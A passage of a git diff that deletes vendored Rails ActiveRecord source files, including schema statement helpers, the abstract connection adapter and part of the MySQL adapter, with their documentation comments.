-      #  create_table(:suppliers, :options => 'ENGINE=InnoDB DEFAULT CHARSET=utf8')
-      # generates:
-      #  CREATE TABLE suppliers (
-      #    id int(11) DEFAULT NULL auto_increment PRIMARY KEY
-      #  ) ENGINE=InnoDB DEFAULT CHARSET=utf8
-      #
-      # ====== Rename the primary key column
-      #  create_table(:objects, :primary_key => 'guid') do |t|
-      #    t.column :name, :string, :limit => 80
-      #  end
-      # generates:
-      #  CREATE TABLE objects (
-      #    guid int(11) DEFAULT NULL auto_increment PRIMARY KEY,
-      #    name varchar(80)
-      #  )
-      #
-      # ====== Do not add a primary key column
-      #  create_table(:categories_suppliers, :id => false) do |t|
-      #    t.column :category_id, :integer
-      #    t.column :supplier_id, :integer
-      #  end
-      # generates:
-      #  CREATE TABLE categories_suppliers (
-      #    category_id int,
-      #    supplier_id int
-      #  )
-      #
-      # See also TableDefinition#column for details on how to create columns.
-      def create_table(table_name, options = {})
-        table_definition = TableDefinition.new(self)
-        table_definition.primary_key(options[:primary_key] || Base.get_primary_key(table_name.to_s.singularize)) unless options[:id] == false
-
-        yield table_definition if block_given?
-
-        if options[:force] && table_exists?(table_name)
-          drop_table(table_name, options)
-        end
-
-        create_sql = "CREATE#{' TEMPORARY' if options[:temporary]} TABLE "
-        create_sql << "#{quote_table_name(table_name)} ("
-        create_sql << table_definition.to_sql
-        create_sql << ") #{options[:options]}"
-        execute create_sql
-      end
-
-      # A block for changing columns in +table+.
-      #
-      # === Example
-      #  # change_table() yields a Table instance
-      #  change_table(:suppliers) do |t|
-      #    t.column :name, :string, :limit => 60
-      #    # Other column alterations here
-      #  end
-      #
-      # ===== Examples
-      # ====== Add a column
-      #  change_table(:suppliers) do |t|
-      #    t.column :name, :string, :limit => 60
-      #  end
-      #
-      # ====== Add 2 integer columns
-      #  change_table(:suppliers) do |t|
-      #    t.integer :width, :height, :null => false, :default => 0
-      #  end
-      #
-      # ====== Add created_at/updated_at columns
-      #  change_table(:suppliers) do |t|
-      #    t.timestamps
-      #  end
-      #
-      # ====== Add a foreign key column
-      #  change_table(:suppliers) do |t|
-      #    t.references :company
-      #  end
-      #
-      # Creates a <tt>company_id(integer)</tt> column
-      #
-      # ====== Add a polymorphic foreign key column
-      #  change_table(:suppliers) do |t|
-      #    t.belongs_to :company, :polymorphic => true
-      #  end
-      #
-      # Creates <tt>company_type(varchar)</tt> and <tt>company_id(integer)</tt> columns
-      #
-      # ====== Remove a column
-      #  change_table(:suppliers) do |t|
-      #    t.remove :company
-      #  end
-      #
-      # ====== Remove several columns
-      #  change_table(:suppliers) do |t|
-      #    t.remove :company_id
-      #    t.remove :width, :height
-      #  end
-      #
-      # ====== Remove an index
-      #  change_table(:suppliers) do |t|
-      #    t.remove_index :company_id
-      #  end
-      #
-      # See also Table for details on
-      # all of the various column transformation
-      def change_table(table_name)
-        yield Table.new(table_name, self)
-      end
-
-      # Renames a table.
-      # ===== Example
-      #  rename_table('octopuses', 'octopi')
-      def rename_table(table_name, new_name)
-        raise NotImplementedError, "rename_table is not implemented"
-      end
-
-      # Drops a table from the database.
-      def drop_table(table_name, options = {})
-        execute "DROP TABLE #{quote_table_name(table_name)}"
-      end
-
-      # Adds a new column to the named table.
-      # See TableDefinition#column for details of the options you can use.
-      def add_column(table_name, column_name, type, options = {})
-        add_column_sql = "ALTER TABLE #{quote_table_name(table_name)} ADD #{quote_column_name(column_name)} #{type_to_sql(type, options[:limit], options[:precision], options[:scale])}"
-        add_column_options!(add_column_sql, options)
-        execute(add_column_sql)
-      end
-
-      # Removes the column(s) from the table definition.
-      # ===== Examples
-      #  remove_column(:suppliers, :qualification)
-      #  remove_columns(:suppliers, :qualification, :experience)
-      def remove_column(table_name, *column_names)
-        raise ArgumentError.new("You must specify at least one column name.  Example: remove_column(:people, :first_name)") if column_names.empty?
-        column_names.flatten.each do |column_name|
-          execute "ALTER TABLE #{quote_table_name(table_name)} DROP #{quote_column_name(column_name)}"
-        end
-      end
-      alias :remove_columns :remove_column
-
-      # Changes the column's definition according to the new options.
-      # See TableDefinition#column for details of the options you can use.
-      # ===== Examples
-      #  change_column(:suppliers, :name, :string, :limit => 80)
-      #  change_column(:accounts, :description, :text)
-      def change_column(table_name, column_name, type, options = {})
-        raise NotImplementedError, "change_column is not implemented"
-      end
-
-      # Sets a new default value for a column.  If you want to set the default
-      # value to +NULL+, you are out of luck.  You need to
-      # DatabaseStatements#execute the appropriate SQL statement yourself.
-      # ===== Examples
-      #  change_column_default(:suppliers, :qualification, 'new')
-      #  change_column_default(:accounts, :authorized, 1)
-      def change_column_default(table_name, column_name, default)
-        raise NotImplementedError, "change_column_default is not implemented"
-      end
-
-      # Renames a column.
-      # ===== Example
-      #  rename_column(:suppliers, :description, :name)
-      def rename_column(table_name, column_name, new_column_name)
-        raise NotImplementedError, "rename_column is not implemented"
-      end
-
-      # Adds a new index to the table.  +column_name+ can be a single Symbol, or
-      # an Array of Symbols.
-      #
-      # The index will be named after the table and the first column name,
-      # unless you pass <tt>:name</tt> as an option.
-      #
-      # When creating an index on multiple columns, the first column is used as a name
-      # for the index. For example, when you specify an index on two columns
-      # [<tt>:first</tt>, <tt>:last</tt>], the DBMS creates an index for both columns as well as an
-      # index for the first column <tt>:first</tt>. Using just the first name for this index
-      # makes sense, because you will never have to create a singular index with this
-      # name.
-      #
-      # ===== Examples
-      #
-      # ====== Creating a simple index
-      #  add_index(:suppliers, :name)
-      # generates
-      #  CREATE INDEX suppliers_name_index ON suppliers(name)
-      #
-      # ====== Creating a unique index
-      #  add_index(:accounts, [:branch_id, :party_id], :unique => true)
-      # generates
-      #  CREATE UNIQUE INDEX accounts_branch_id_party_id_index ON accounts(branch_id, party_id)
-      #
-      # ====== Creating a named index
-      #  add_index(:accounts, [:branch_id, :party_id], :unique => true, :name => 'by_branch_party')
-      # generates
-      #  CREATE UNIQUE INDEX by_branch_party ON accounts(branch_id, party_id)
-      #
-      # ====== Creating an index with specific key length
-      #  add_index(:accounts, :name, :name => 'by_name', :length => 10)
-      # generates
-      #  CREATE INDEX by_name ON accounts(name(10))
-      #
-      #  add_index(:accounts, [:name, :surname], :name => 'by_name_surname', :length => {:name => 10, :surname => 15})
-      # generates
-      #  CREATE INDEX by_name_surname ON accounts(name(10), surname(15))
-      #
-      # Note: SQLite doesn't support index length
-      def add_index(table_name, column_name, options = {})
-        column_names = Array(column_name)
-        index_name   = index_name(table_name, :column => column_names)
-
-        if Hash === options # legacy support, since this param was a string
-          index_type = options[:unique] ? "UNIQUE" : ""
-          index_name = options[:name].to_s if options[:name]
-        else
-          index_type = options
-        end
-
-        if index_name.length > index_name_length
-          @logger.warn("Index name '#{index_name}' on table '#{table_name}' is too long; the limit is #{index_name_length} characters. Skipping.")
-          return
-        end
-        if index_exists?(table_name, index_name, false)
-          @logger.warn("Index name '#{index_name}' on table '#{table_name}' already exists. Skipping.")
-          return
-        end
-        quoted_column_names = quoted_columns_for_index(column_names, options).join(", ")
-
-        execute "CREATE #{index_type} INDEX #{quote_column_name(index_name)} ON #{quote_table_name(table_name)} (#{quoted_column_names})"
-      end
-
-      # Remove the given index from the table.
-      #
-      # Remove the suppliers_name_index in the suppliers table.
-      #   remove_index :suppliers, :name
-      # Remove the index named accounts_branch_id_index in the accounts table.
-      #   remove_index :accounts, :column => :branch_id
-      # Remove the index named accounts_branch_id_party_id_index in the accounts table.
-      #   remove_index :accounts, :column => [:branch_id, :party_id]
-      # Remove the index named by_branch_party in the accounts table.
-      #   remove_index :accounts, :name => :by_branch_party
-      def remove_index(table_name, options = {})
-        index_name = index_name(table_name, options)
-        unless index_exists?(table_name, index_name, true)
-          @logger.warn("Index name '#{index_name}' on table '#{table_name}' does not exist. Skipping.")
-          return
-        end
-        remove_index!(table_name, index_name)
-      end
-
-      def remove_index!(table_name, index_name) #:nodoc:
-        execute "DROP INDEX #{quote_column_name(index_name)} ON #{table_name}"
-      end
-
-      # Rename an index.
-      #
-      # Rename the index_people_on_last_name index to index_users_on_last_name
-      #   rename_index :people, 'index_people_on_last_name', 'index_users_on_last_name'
-      def rename_index(table_name, old_name, new_name)
-        # this is a naive implementation; some DBs may support this more efficiently (Postgres, for instance)
-        old_index_def = indexes(table_name).detect { |i| i.name == old_name }
-        return unless old_index_def
-        remove_index(table_name, :name => old_name)
-        add_index(table_name, old_index_def.columns, :name => new_name, :unique => old_index_def.unique)
-      end
-
-      def index_name(table_name, options) #:nodoc:
-        if Hash === options # legacy support
-          if options[:column]
-            "index_#{table_name}_on_#{Array(options[:column]) * '_and_'}"
-          elsif options[:name]
-            options[:name]
-          else
-            raise ArgumentError, "You must specify the index name"
-          end
-        else
-          index_name(table_name, :column => options)
-        end
-      end
-
-      # Verify the existence of an index.
-      #
-      # The default argument is returned if the underlying implementation does not define the indexes method,
-      # as there's no way to determine the correct answer in that case.
-      def index_exists?(table_name, index_name, default)
-        return default unless respond_to?(:indexes)
-        index_name = index_name.to_s
-        indexes(table_name).detect { |i| i.name == index_name }
-      end
-
-      # Returns a string of <tt>CREATE TABLE</tt> SQL statement(s) for recreating the
-      # entire structure of the database.
-      def structure_dump
-      end
-
-      def dump_schema_information #:nodoc:
-        sm_table = ActiveRecord::Migrator.schema_migrations_table_name
-        migrated = select_values("SELECT version FROM #{sm_table}")
-        migrated.map { |v| "INSERT INTO #{sm_table} (version) VALUES ('#{v}');" }.join("\n\n")
-      end
-
-      # Should not be called normally, but this operation is non-destructive.
-      # The migrations module handles this automatically.
-      def initialize_schema_migrations_table
-        sm_table = ActiveRecord::Migrator.schema_migrations_table_name
-
-        unless tables.detect { |t| t == sm_table }
-          create_table(sm_table, :id => false) do |schema_migrations_table|
-            schema_migrations_table.column :version, :string, :null => false
-          end
-          add_index sm_table, :version, :unique => true,
-            :name => "#{Base.table_name_prefix}unique_schema_migrations#{Base.table_name_suffix}"
-
-          # Backwards-compatibility: if we find schema_info, assume we've
-          # migrated up to that point:
-          si_table = Base.table_name_prefix + 'schema_info' + Base.table_name_suffix
-
-          if tables.detect { |t| t == si_table }
-
-            old_version = select_value("SELECT version FROM #{quote_table_name(si_table)}").to_i
-            assume_migrated_upto_version(old_version)
-            drop_table(si_table)
-          end
-        end
-      end
-
-      def assume_migrated_upto_version(version, migrations_path = ActiveRecord::Migrator.migrations_path)
-        version = version.to_i
-        sm_table = quote_table_name(ActiveRecord::Migrator.schema_migrations_table_name)
-
-        migrated = select_values("SELECT version FROM #{sm_table}").map(&:to_i)
-        versions = Dir["#{migrations_path}/[0-9]*_*.rb"].map do |filename|
-          filename.split('/').last.split('_').first.to_i
-        end
-
-        unless migrated.include?(version)
-          execute "INSERT INTO #{sm_table} (version) VALUES ('#{version}')"
-        end
-
-        inserted = Set.new
-        (versions - migrated).each do |v|
-          if inserted.include?(v)
-            raise "Duplicate migration #{v}. Please renumber your migrations to resolve the conflict."
-          elsif v < version
-            execute "INSERT INTO #{sm_table} (version) VALUES ('#{v}')"
-            inserted << v
-          end
-        end
-      end
-
-      def type_to_sql(type, limit = nil, precision = nil, scale = nil) #:nodoc:
-        if native = native_database_types[type]
-          column_type_sql = (native.is_a?(Hash) ? native[:name] : native).dup
-
-          if type == :decimal # ignore limit, use precision and scale
-            scale ||= native[:scale]
-
-            if precision ||= native[:precision]
-              if scale
-                column_type_sql << "(#{precision},#{scale})"
-              else
-                column_type_sql << "(#{precision})"
-              end
-            elsif scale
-              raise ArgumentError, "Error adding decimal column: precision cannot be empty if scale if specified"
-            end
-
-          elsif (type != :primary_key) && (limit ||= native.is_a?(Hash) && native[:limit])
-            column_type_sql << "(#{limit})"
-          end
-
-          column_type_sql
-        else
-          type
-        end
-      end
-
-      def add_column_options!(sql, options) #:nodoc:
-        sql << " DEFAULT #{quote(options[:default], options[:column])}" if options_include_default?(options)
-        # must explicitly check for :null to allow change_column to work on migrations
-        if options[:null] == false
-          sql << " NOT NULL"
-        end
-      end
-
-      # SELECT DISTINCT clause for a given set of columns and a given ORDER BY clause.
-      # Both PostgreSQL and Oracle overrides this for custom DISTINCT syntax.
-      #
-      #   distinct("posts.id", "posts.created_at desc")
-      def distinct(columns, order_by)
-        "DISTINCT #{columns}"
-      end
-
-      # ORDER BY clause for the passed order option.
-      # PostgreSQL overrides this due to its stricter standards compliance.
-      def add_order_by_for_association_limiting!(sql, options)
-        sql << " ORDER BY #{options[:order]}"
-      end
-
-      # Adds timestamps (created_at and updated_at) columns to the named table.
-      # ===== Examples
-      #  add_timestamps(:suppliers)
-      def add_timestamps(table_name)
-        add_column table_name, :created_at, :datetime
-        add_column table_name, :updated_at, :datetime
-      end
-
-      # Removes the timestamp columns (created_at and updated_at) from the table definition.
-      # ===== Examples
-      #  remove_timestamps(:suppliers)
-      def remove_timestamps(table_name)
-        remove_column table_name, :updated_at
-        remove_column table_name, :created_at
-      end
-
-      protected
-        # Overridden by the mysql adapter for supporting index lengths
-        def quoted_columns_for_index(column_names, options = {})
-          column_names.map {|name| quote_column_name(name) }
-        end
-
-        def options_include_default?(options)
-          options.include?(:default) && !(options[:null] == false && options[:default].nil?)
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
deleted file mode 100755
index b8a6a71e..00000000
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
+++ /dev/null
@@ -1,249 +0,0 @@
-require 'benchmark'
-require 'date'
-require 'bigdecimal'
-require 'bigdecimal/util'
-
-# TODO: Autoload these files
-require 'active_record/connection_adapters/abstract/schema_definitions'
-require 'active_record/connection_adapters/abstract/schema_statements'
-require 'active_record/connection_adapters/abstract/database_statements'
-require 'active_record/connection_adapters/abstract/quoting'
-require 'active_record/connection_adapters/abstract/connection_pool'
-require 'active_record/connection_adapters/abstract/connection_specification'
-require 'active_record/connection_adapters/abstract/query_cache'
-require 'active_record/connection_adapters/abstract/database_limits'
-
-module ActiveRecord
-  module ConnectionAdapters # :nodoc:
-    # ActiveRecord supports multiple database systems. AbstractAdapter and
-    # related classes form the abstraction layer which makes this possible.
-    # An AbstractAdapter represents a connection to a database, and provides an
-    # abstract interface for database-specific functionality such as establishing
-    # a connection, escaping values, building the right SQL fragments for ':offset'
-    # and ':limit' options, etc.
-    #
-    # All the concrete database adapters follow the interface laid down in this class.
-    # ActiveRecord::Base.connection returns an AbstractAdapter object, which
-    # you can use.
-    #
-    # Most of the methods in the adapter are useful during migrations. Most
-    # notably, the instance methods provided by SchemaStatement are very useful.
-    class AbstractAdapter
-      include Quoting, DatabaseStatements, SchemaStatements
-      include DatabaseLimits
-      include QueryCache
-      include ActiveSupport::Callbacks
-      define_callbacks :checkout, :checkin
-
-      @@row_even = true
-
-      def initialize(connection, logger = nil) #:nodoc:
-        @connection, @logger = connection, logger
-        @runtime = 0
-        @last_verification = 0
-        @query_cache_enabled = false
-      end
-
-      # Returns the human-readable name of the adapter.  Use mixed case - one
-      # can always use downcase if needed.
-      def adapter_name
-        'Abstract'
-      end
-
-      # Does this adapter support migrations?  Backend specific, as the
-      # abstract adapter always returns +false+.
-      def supports_migrations?
-        false
-      end
-
-      # Can this adapter determine the primary key for tables not attached
-      # to an ActiveRecord class, such as join tables?  Backend specific, as
-      # the abstract adapter always returns +false+.
-      def supports_primary_key?
-        false
-      end
-
-      # Does this adapter support using DISTINCT within COUNT?  This is +true+
-      # for all adapters except sqlite.
-      def supports_count_distinct?
-        true
-      end
-
-      # Does this adapter support DDL rollbacks in transactions?  That is, would
-      # CREATE TABLE or ALTER TABLE get rolled back by a transaction?  PostgreSQL,
-      # SQL Server, and others support this.  MySQL and others do not.
-      def supports_ddl_transactions?
-        false
-      end
-      
-      # Does this adapter support savepoints? PostgreSQL and MySQL do, SQLite
-      # does not.
-      def supports_savepoints?
-        false
-      end
-
-      # Should primary key values be selected from their corresponding
-      # sequence before the insert statement?  If true, next_sequence_value
-      # is called before each insert to set the record's primary key.
-      # This is false for all adapters but Firebird.
-      def prefetch_primary_key?(table_name = nil)
-        false
-      end
-
-      def reset_runtime #:nodoc:
-        rt, @runtime = @runtime, 0
-        rt
-      end
-
-      # QUOTING ==================================================
-
-      # Override to return the quoted table name. Defaults to column quoting.
-      def quote_table_name(name)
-        quote_column_name(name)
-      end
-
-      # REFERENTIAL INTEGRITY ====================================
-
-      # Override to turn off referential integrity while executing <tt>&block</tt>.
-      def disable_referential_integrity(&block)
-        yield
-      end
-
-      # CONNECTION MANAGEMENT ====================================
-
-      # Checks whether the connection to the database is still active. This includes
-      # checking whether the database is actually capable of responding, i.e. whether
-      # the connection isn't stale.
-      def active?
-        @active != false
-      end
-
-      # Disconnects from the database if already connected, and establishes a
-      # new connection with the database.
-      def reconnect!
-        @active = true
-      end
-
-      # Disconnects from the database if already connected. Otherwise, this
-      # method does nothing.
-      def disconnect!
-        @active = false
-      end
-
-      # Reset the state of this connection, directing the DBMS to clear
-      # transactions and other connection-related server-side state. Usually a
-      # database-dependent operation.
-      #
-      # The default implementation does nothing; the implementation should be
-      # overridden by concrete adapters.
-      def reset!
-        # this should be overridden by concrete adapters
-      end
-
-      # Returns true if its safe to reload the connection between requests for development mode.
-      def requires_reloading?
-        true
-      end
-
-      # Checks whether the connection to the database is still active (i.e. not stale).
-      # This is done under the hood by calling <tt>active?</tt>. If the connection
-      # is no longer active, then this method will reconnect to the database.
-      def verify!(*ignored)
-        reconnect! unless active?
-      end
-
-      # Provides access to the underlying database driver for this adapter. For
-      # example, this method returns a Mysql object in case of MysqlAdapter,
-      # and a PGconn object in case of PostgreSQLAdapter.
-      #
-      # This is useful for when you need to call a proprietary method such as
-      # PostgreSQL's lo_* methods.
-      def raw_connection
-        @connection
-      end
-
-      def open_transactions
-        @open_transactions ||= 0
-      end
-
-      def increment_open_transactions
-        @open_transactions ||= 0
-        @open_transactions += 1
-      end
-
-      def decrement_open_transactions
-        @open_transactions -= 1
-      end
-
-      def transaction_joinable=(joinable)
-        @transaction_joinable = joinable
-      end
-
-      def create_savepoint
-      end
-
-      def rollback_to_savepoint
-      end
-
-      def release_savepoint
-      end
-
-      def current_savepoint_name
-        "active_record_#{open_transactions}"
-      end
-
-      def log_info(sql, name, ms)
-        if @logger && @logger.debug?
-          name = '%s (%.1fms)' % [name || 'SQL', ms]
-          @logger.debug(format_log_entry(name, sql.squeeze(' ')))
-        end
-      end
-
-      protected
-        def log(sql, name)
-          if block_given?
-            result = nil
-            ms = Benchmark.ms { result = yield }
-            @runtime += ms
-            log_info(sql, name, ms)
-            result
-          else
-            log_info(sql, name, 0)
-            nil
-          end
-        rescue SystemExit, SignalException, NoMemoryError => e
-          # Don't re-wrap these exceptions. They are probably not being caused by invalid
-          # sql, but rather some external stimulus beyond the responsibilty of this code.
-          # Additionaly, wrapping these exceptions with StatementInvalid would lead to
-          #  meaningful loss of data, such as losing SystemExit#status.
-          raise e
-        rescue Exception => e
-          # Log message and raise exception.
-          # Set last_verification to 0, so that connection gets verified
-          # upon reentering the request loop
-          @last_verification = 0
-          message = "#{e.class.name}: #{e.message}: #{sql}"
-          log_info(message, name, 0)
-          raise ActiveRecord::StatementInvalid, message
-        end
-
-        def format_log_entry(message, dump = nil)
-          if ActiveRecord::Base.colorize_logging
-            if @@row_even
-              @@row_even = false
-              message_color, dump_color = "4;36;1", "0;1"
-            else
-              @@row_even = true
-              message_color, dump_color = "4;35;1", "0"
-            end
-
-            log_entry = "  \e[#{message_color}m#{message}\e[0m   "
-            log_entry << "\e[#{dump_color}m%#{String === dump ? 's' : 'p'}\e[0m" % dump if dump
-            log_entry
-          else
-            "%s  %s" % [message, dump]
-          end
-        end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb b/vendor/rails/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
deleted file mode 100644
index c50022bd..00000000
--- a/vendor/rails/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb
+++ /dev/null
@@ -1,662 +0,0 @@
-require 'active_record/connection_adapters/abstract_adapter'
-require 'set'
-
-module MysqlCompat #:nodoc:
-  # add all_hashes method to standard mysql-c bindings or pure ruby version
-  def self.define_all_hashes_method!
-    raise 'Mysql not loaded' unless defined?(::Mysql)
-
-    target = defined?(Mysql::Result) ? Mysql::Result : MysqlRes
-    return if target.instance_methods.include?('all_hashes') ||
-              target.instance_methods.include?(:all_hashes)
-
-    # Ruby driver has a version string and returns null values in each_hash
-    # C driver >= 2.7 returns null values in each_hash
-    if Mysql.const_defined?(:VERSION) && (Mysql::VERSION.is_a?(String) || Mysql::VERSION >= 20700)
-      target.class_eval <<-'end_eval'
-      def all_hashes                     # def all_hashes
-        rows = []                        #   rows = []
-        each_hash { |row| rows << row }  #   each_hash { |row| rows << row }
-        rows                             #   rows
-      end                                # end
-      end_eval
-
-    # adapters before 2.7 don't have a version constant
-    # and don't return null values in each_hash
-    else
-      target.class_eval <<-'end_eval'
-      def all_hashes                                            # def all_hashes
-        rows = []                                               #   rows = []
-        all_fields = fetch_fields.inject({}) { |fields, f|      #   all_fields = fetch_fields.inject({}) { |fields, f|
-          fields[f.name] = nil; fields                          #     fields[f.name] = nil; fields
-        }                                                       #   }
-        each_hash { |row| rows << all_fields.dup.update(row) }  #   each_hash { |row| rows << all_fields.dup.update(row) }
-        rows                                                    #   rows
-      end                                                       # end
-      end_eval
-    end
-
-    unless target.instance_methods.include?('all_hashes') ||
-           target.instance_methods.include?(:all_hashes)
-      raise "Failed to defined #{target.name}#all_hashes method. Mysql::VERSION = #{Mysql::VERSION.inspect}"
-    end
-  end
-end
-
-module ActiveRecord
-  class Base
-    # Establishes a connection to the database that's used by all Active Record objects.
-    def self.mysql_connection(config) # :nodoc:
-      config = config.symbolize_keys
-      host     = config[:host]
-      port     = config[:port]
-      socket   = config[:socket]
-      username = config[:username] ? config[:username].to_s : 'root'
-      password = config[:password].to_s
-      database = config[:database]
-
-      # Require the MySQL driver and define Mysql::Result.all_hashes
-      unless defined? Mysql
-        begin
-          require_library_or_gem('mysql')
-        rescue LoadError
-          $stderr.puts '!!! The bundled mysql.rb driver has been removed from Rails 2.2. Please install the mysql gem and try again: gem install mysql.'
-          raise
-        end
-      end
-
-      MysqlCompat.define_all_hashes_method!
-
-      mysql = Mysql.init
-      mysql.ssl_set(config[:sslkey], config[:sslcert], config[:sslca], config[:sslcapath], config[:sslcipher]) if config[:sslca] || config[:sslkey]
-
-      default_flags = Mysql.const_defined?(:CLIENT_MULTI_RESULTS) ? Mysql::CLIENT_MULTI_RESULTS : 0
-      options = [host, username, password, database, port, socket, default_flags]
-      ConnectionAdapters::MysqlAdapter.new(mysql, logger, options, config)
-    end
-  end
-
-  module ConnectionAdapters
-    class MysqlColumn < Column #:nodoc:
-      def extract_default(default)
-        if sql_type =~ /blob/i || type == :text
-          if default.blank?
-            return null ? nil : ''
-          else
-            raise ArgumentError, "#{type} columns cannot have a default value: #{default.inspect}"
-          end
-        elsif missing_default_forged_as_empty_string?(default)
-          nil
-        else
-          super
-        end
-      end
-
-      def has_default?
-        return false if sql_type =~ /blob/i || type == :text #mysql forbids defaults on blob and text columns
-        super
-      end
-
-      private
-        def simplified_type(field_type)
-          return :boolean if MysqlAdapter.emulate_booleans && field_type.downcase.index("tinyint(1)")
-          return :string  if field_type =~ /enum/i
-          super
-        end
-
-        def extract_limit(sql_type)
-          case sql_type
-          when /blob|text/i
-            case sql_type
-            when /tiny/i
-              255
-            when /medium/i
-              16777215
-            when /long/i
-              2147483647 # mysql only allows 2^31-1, not 2^32-1, somewhat inconsistently with the tiny/medium/normal cases
-            else
-              super # we could return 65535 here, but we leave it undecorated by default
-            end
-          when /^bigint/i;    8
-          when /^int/i;       4
-          when /^mediumint/i; 3
-          when /^smallint/i;  2
-          when /^tinyint/i;   1
-          else
-            super
-          end
-        end
-
-        # MySQL misreports NOT NULL column default when none is given.
-        # We can't detect this for columns which may have a legitimate ''
-        # default (string) but we can for others (integer, datetime, boolean,
-        # and the rest).
-        #
-        # Test whether the column has default '', is not null, and is not
-        # a type allowing default ''.
-        def missing_default_forged_as_empty_string?(default)
-          type != :string && !null && default == ''
-        end
-    end
-
-    # The MySQL adapter will work with both Ruby/MySQL, which is a Ruby-based MySQL adapter that comes bundled with Active Record, and with
-    # the faster C-based MySQL/Ruby adapter (available both as a gem and from http://www.tmtm.org/en/mysql/ruby/).
-    #
-    # Options:
-    #
-    # * <tt>:host</tt> - Defaults to "localhost".
-    # * <tt>:port</tt> - Defaults to 3306.
-    # * <tt>:socket</tt> - Defaults to "/tmp/mysql.sock".
-    # * <tt>:username</tt> - Defaults to "root"
-    # * <tt>:password</tt> - Defaults to nothing.
-    # * <tt>:database</tt> - The name of the database. No default, must be provided.
-    # * <tt>:encoding</tt> - (Optional) Sets the client encoding by executing "SET NAMES <encoding>" after connection.
-    # * <tt>:reconnect</tt> - Defaults to false (See MySQL documentation: http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html).
-    # * <tt>:sslca</tt> - Necessary to use MySQL with an SSL connection.
-    # * <tt>:sslkey</tt> - Necessary to use MySQL with an SSL connection.
-    # * <tt>:sslcert</tt> - Necessary to use MySQL with an SSL connection.
-    # * <tt>:sslcapath</tt> - Necessary to use MySQL with an SSL connection.
-    # * <tt>:sslcipher</tt> - Necessary to use MySQL with an SSL connection.
-    #
-    class MysqlAdapter < AbstractAdapter
-
-      ##
-      # :singleton-method:
-      # By default, the MysqlAdapter will consider all columns of type <tt>tinyint(1)</tt>
-      # as boolean. If you wish to disable this emulation (which was the default
-      # behavior in versions 0.13.1 and earlier) you can add the following line
-      # to your environment.rb file:
-      #
-      #   ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans = false
-      cattr_accessor :emulate_booleans
-      self.emulate_booleans = true
-
-      ADAPTER_NAME = 'MySQL'.freeze
-
-      LOST_CONNECTION_ERROR_MESSAGES = [
-        "Server shutdown in progress",
-        "Broken pipe",
-        "Lost connection to MySQL server during query",
-        "MySQL server has gone away" ]
-
-      QUOTED_TRUE, QUOTED_FALSE = '1'.freeze, '0'.freeze
-
-      NATIVE_DATABASE_TYPES = {
-        :primary_key => "int(11) DEFAULT NULL auto_increment PRIMARY KEY".freeze,
-        :string      => { :name => "varchar", :limit => 255 },
-        :text        => { :name => "text" },
-        :integer     => { :name => "int", :limit => 4 },
-        :float       => { :name => "float" },
-        :decimal     => { :name => "decimal" },
-        :datetime    => { :name => "datetime" },
-        :timestamp   => { :name => "datetime" },
-        :time        => { :name => "time" },
-        :date        => { :name => "date" },
-        :binary      => { :name => "blob" },
-        :boolean     => { :name => "tinyint", :limit => 1 }
-      }
-
-      def initialize(connection, logger, connection_options, config)
-        super(connection, logger)
-        @connection_options, @config = connection_options, config
-        @quoted_column_names, @quoted_table_names = {}, {}
-        connect
-      end
-
-      def adapter_name #:nodoc:
-        ADAPTER_NAME
-      end
-
-      def supports_migrations? #:nodoc:
-        true
-      end
-      
-      def supports_primary_key? #:nodoc:
-        true
-      end
-
-      def supports_savepoints? #:nodoc:
-        true
-      end
-
-      def native_database_types #:nodoc:
-        NATIVE_DATABASE_TYPES
-      end
-
-
-      # QUOTING ==================================================
-
-      def quote(value, column = nil)
-        if value.kind_of?(String) && column && column.type == :binary && column.class.respond_to?(:string_to_binary)
-          s = column.class.string_to_binary(value).unpack("H*")[0]
-          "x'#{s}'"
-        elsif value.kind_of?(BigDecimal)
-          value.to_s("F")
-        else
-          super
-        end
-      end
-
-      def quote_column_name(name) #:nodoc:
-        @quoted_column_names[name] ||= "`#{name.to_s.gsub('`', '``')}`"
-      end
-
-      def quote_table_name(name) #:nodoc:
-        @quoted_table_names[name] ||= quote_column_name(name).gsub('.', '`.`')
-      end
-
-      def quote_string(string) #:nodoc:
-        @connection.quote(string)
-      end
-
-      def quoted_true
-        QUOTED_TRUE
-      end
-
-      def quoted_false
-        QUOTED_FALSE
-      end
-
-      # REFERENTIAL INTEGRITY ====================================
-
-      def disable_referential_integrity(&block) #:nodoc:
-        old = select_value("SELECT @@FOREIGN_KEY_CHECKS")
-
-        begin
-          update("SET FOREIGN_KEY_CHECKS = 0")
-          yield
-        ensure
-          update("SET FOREIGN_KEY_CHECKS = #{old}")
-        end
-      end
-
-      # CONNECTION MANAGEMENT ====================================
-
-      def active?
-        if @connection.respond_to?(:stat)
-          @connection.stat
-        else
-          @connection.query 'select 1'
-        end
-
-        # mysql-ruby doesn't raise an exception when stat fails.
-        if @connection.respond_to?(:errno)
-          @connection.errno.zero?
-        else
-          true
-        end
-      rescue Mysql::Error
-        false
-      end
-
-      def reconnect!
-        disconnect!
-        connect
-      end
-
-      def disconnect!
-        @connection.close rescue nil
-      end
-
-      def reset!
-        if @connection.respond_to?(:change_user)
-          # See http://bugs.mysql.com/bug.php?id=33540 -- the workaround way to
-          # reset the connection is to change the user to the same user.
-          @connection.change_user(@config[:username], @config[:password], @config[:database])
-          configure_connection
-        end
-      end
-
-      # DATABASE STATEMENTS ======================================
-
-      def select_rows(sql, name = nil)
-        @connection.query_with_result = true
-        result = execute(sql, name)
-        rows = []
-        result.each { |row| rows << row }
-        result.free
-        @connection.more_results && @connection.next_result    # invoking stored procedures with CLIENT_MULTI_RESULTS requires this to tidy up else connection will be dropped
-        rows
-      end
-
-      # Executes a SQL query and returns a MySQL::Result object. Note that you have to free the Result object after you're done using it.
-      def execute(sql, name = nil) #:nodoc:
-        log(sql, name) { @connection.query(sql) }
-      rescue ActiveRecord::StatementInvalid => exception
-        if exception.message.split(":").first =~ /Packets out of order/
